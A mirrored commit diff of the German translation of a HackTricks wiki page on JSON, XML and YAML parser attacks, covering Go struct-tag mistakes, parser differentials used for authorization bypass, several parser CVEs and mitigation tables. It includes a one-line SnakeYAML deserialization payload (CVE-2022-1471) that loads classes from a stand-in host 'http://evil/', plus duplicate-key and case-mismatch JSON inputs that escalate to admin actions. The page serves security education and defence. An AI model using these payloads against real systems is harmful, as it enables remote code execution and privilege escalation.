mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to de
This commit is contained in:
		
							parent
							
								
									286270d75e
								
							
						
					
					
						commit
						8617b8d6e1
					
				@ -22,7 +22,7 @@ IsAdmin  bool   `json:"-"`
 | 
			
		||||
```
 | 
			
		||||
- Häufige Schwachstellen
 | 
			
		||||
 | 
			
		||||
1. **Fehlendes Tag** (kein Tag = Feld wird standardmäßig weiterhin analysiert):
 | 
			
		||||
1. **Fehlendes Tag** (kein Tag = Feld wird standardmäßig weiterhin geparst):
 | 
			
		||||
```go
 | 
			
		||||
type User struct {
 | 
			
		||||
Username string
 | 
			
		||||
@ -50,7 +50,7 @@ IsAdmin bool `json:"-"`
 | 
			
		||||
```
 | 
			
		||||
### Parser-Differenzen
 | 
			
		||||
 | 
			
		||||
Das Ziel ist es, die Autorisierung zu umgehen, indem man ausnutzt, wie verschiedene Parser dasselbe Payload unterschiedlich interpretieren, wie in:
 | 
			
		||||
Das Ziel ist es, die Autorisierung zu umgehen, indem man ausnutzt, wie verschiedene Parser dasselbe Payload unterschiedlich interpretieren, wie zum Beispiel:
 | 
			
		||||
- CVE-2017-12635: Apache CouchDB Umgehung über doppelte Schlüssel
 | 
			
		||||
- 2022: Zoom 0-Klick RCE über XML-Parser-Inkonsistenz
 | 
			
		||||
- GitLab 2025 SAML-Umgehung über XML-Eigenheiten
 | 
			
		||||
@ -61,10 +61,10 @@ Go's `encoding/json` nimmt das **letzte** Feld.
 | 
			
		||||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
 | 
			
		||||
fmt.Println(req.Action) // AdminAction
 | 
			
		||||
```
 | 
			
		||||
Andere Parser (z. B. Javas Jackson) können das **erste** nehmen.
 | 
			
		||||
Andere Parser (z. B. Javas Jackson) können die **erste** nehmen.
 | 
			
		||||
 | 
			
		||||
**2. Groß-/Kleinschreibung:**
 | 
			
		||||
Go ist nicht groß-/kleinschreibungsempfindlich:
 | 
			
		||||
Go ist nicht case-sensitiv:
 | 
			
		||||
```go
 | 
			
		||||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
 | 
			
		||||
// matches `Action` field
 | 
			
		||||
@ -94,7 +94,7 @@ Angreifer sendet:
 | 
			
		||||
Das Ziel ist es, Systeme auszunutzen, die Formate (JSON/XML/YAML) mischen oder bei Parserfehlern offen bleiben, wie z.B.:
 | 
			
		||||
- **CVE-2020-16250**: HashiCorp Vault analysierte JSON mit einem XML-Parser, nachdem STS JSON anstelle von XML zurückgegeben hatte.
 | 
			
		||||
 | 
			
		||||
Der Angreifer kontrolliert:
 | 
			
		||||
Angreifer kontrolliert:
 | 
			
		||||
- Den `Accept: application/json` Header
 | 
			
		||||
- Teilweise Kontrolle des JSON-Körpers
 | 
			
		||||
 | 
			
		||||
@ -112,16 +112,53 @@ Der XML-Parser von Go analysierte es **trotzdem** und vertraute der injizierten
 | 
			
		||||
- **YAML** Parser: `Action_1` (groß-/kleinschreibungsempfindlich)
 | 
			
		||||
- **XML** Parser: parst `"Action_3"` innerhalb des Strings
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### 🔐 Minderung
 | 
			
		||||
## Bemerkenswerte Parser-Sicherheitsanfälligkeiten (2023-2025)
 | 
			
		||||
 | 
			
		||||
| Risiko                      | Lösung                                 |
 | 
			
		||||
|-----------------------------|---------------------------------------|
 | 
			
		||||
| Unbekannte Felder           | `decoder.DisallowUnknownFields()`     |
 | 
			
		||||
| Duplizierte Felder (JSON)   | ❌ Keine Lösung in der Standardbibliothek |
 | 
			
		||||
| Groß-/Kleinschreibungsempfindliche Übereinstimmung | ❌ Keine Lösung in der Standardbibliothek |
 | 
			
		||||
| XML-Mülldaten               | ❌ Keine Lösung in der Standardbibliothek |
 | 
			
		||||
| YAML: unbekannte Schlüssel   | `yaml.KnownFields(true)`              |
 | 
			
		||||
> Die folgenden öffentlich ausnutzbaren Probleme zeigen, dass unsicheres Parsen ein Problem in mehreren Sprachen ist – nicht nur ein Go-Problem.
 | 
			
		||||
 | 
			
		||||
### SnakeYAML Deserialisierung RCE (CVE-2022-1471)
 | 
			
		||||
 | 
			
		||||
* Betroffen: `org.yaml:snakeyaml` < **2.0** (verwendet von Spring-Boot, Jenkins usw.).
 | 
			
		||||
* Grundursache: `new Constructor()` deserialisiert **willkürliche Java-Klassen**, was Gadget-Ketten ermöglicht, die in der Ausführung von Remote-Code enden.
 | 
			
		||||
* One-Liner PoC (öffnet den Rechner auf dem anfälligen Host):
 | 
			
		||||
```yaml
 | 
			
		||||
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
 | 
			
		||||
```
 | 
			
		||||
* Fix / Minderung:
 | 
			
		||||
1. **Upgrade auf ≥2.0** (verwendet standardmäßig `SafeLoader`).
 | 
			
		||||
2. Bei älteren Versionen explizit `new Yaml(new SafeConstructor())` verwenden.
 | 
			
		||||
 | 
			
		||||
### libyaml Double-Free (CVE-2024-35325)
 | 
			
		||||
 | 
			
		||||
* Betroffen: `libyaml` ≤0.2.5 (C-Bibliothek, die von vielen Sprachbindungen genutzt wird).
 | 
			
		||||
* Problem: Das zweimalige Aufrufen von `yaml_event_delete()` führt zu einem Double-Free, den Angreifer in DoS oder in einigen Szenarien in Heap-Ausnutzung umwandeln können.
 | 
			
		||||
* Status: Vom Upstream als „API-Missbrauch“ abgelehnt, aber Linux-Distributionen haben das gepatchte **0.2.6** ausgeliefert, das den Zeiger defensiv null-freigibt.
 | 
			
		||||
 | 
			
		||||
### RapidJSON Integer (Unter|Über)-lauf (CVE-2024-38517 / CVE-2024-39684)
 | 
			
		||||
 | 
			
		||||
* Betroffen: Tencent **RapidJSON** vor dem Commit `8269bc2` (<1.1.0-patch-22).
 | 
			
		||||
* Fehler: In `GenericReader::ParseNumber()` lässt nicht überprüfte Arithmetik Angreifern zu, riesige numerische Literale zu erstellen, die sich umwickeln und den Heap beschädigen — was letztendlich eine Privilegieneskalation ermöglicht, wenn der resultierende Objektgraph für Autorisierungsentscheidungen verwendet wird.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### 🔐 Minderung (Aktualisiert)
 | 
			
		||||
 | 
			
		||||
| Risiko                               | Fix / Empfehlung                                         |
 | 
			
		||||
|--------------------------------------|---------------------------------------------------------|
 | 
			
		||||
| Unbekannte Felder (JSON)            | `decoder.DisallowUnknownFields()`                       |
 | 
			
		||||
| Duplizierte Felder (JSON)           | ❌ Kein Fix in der stdlib — validieren mit [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
 | 
			
		||||
| Groß-/Kleinschreibung-unabhängige Übereinstimmung (Go) | ❌ Kein Fix — validieren Sie Struktur-Tags + vor-kanonicalisieren Sie Eingaben |
 | 
			
		||||
| XML-Garbagedaten / XXE              | Verwenden Sie einen gehärteten Parser (`encoding/xml` + `DisallowDTD`) |
 | 
			
		||||
| YAML unbekannte Schlüssel            | `yaml.KnownFields(true)`                                |
 | 
			
		||||
| **Unsichere YAML-Desserialisierung** | Verwenden Sie SafeConstructor / Upgrade auf SnakeYAML ≥2.0 |
 | 
			
		||||
| libyaml ≤0.2.5 Double-Free          | Upgrade auf **0.2.6** oder distro-gepatchte Version    |
 | 
			
		||||
| RapidJSON <gepatchter Commit        | Kompilieren Sie gegen die neueste RapidJSON (≥Juli 2024) |
 | 
			
		||||
 | 
			
		||||
## Referenzen
 | 
			
		||||
 | 
			
		||||
- Baeldung – „Behebung von CVE-2022-1471 mit SnakeYAML 2.0“
 | 
			
		||||
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user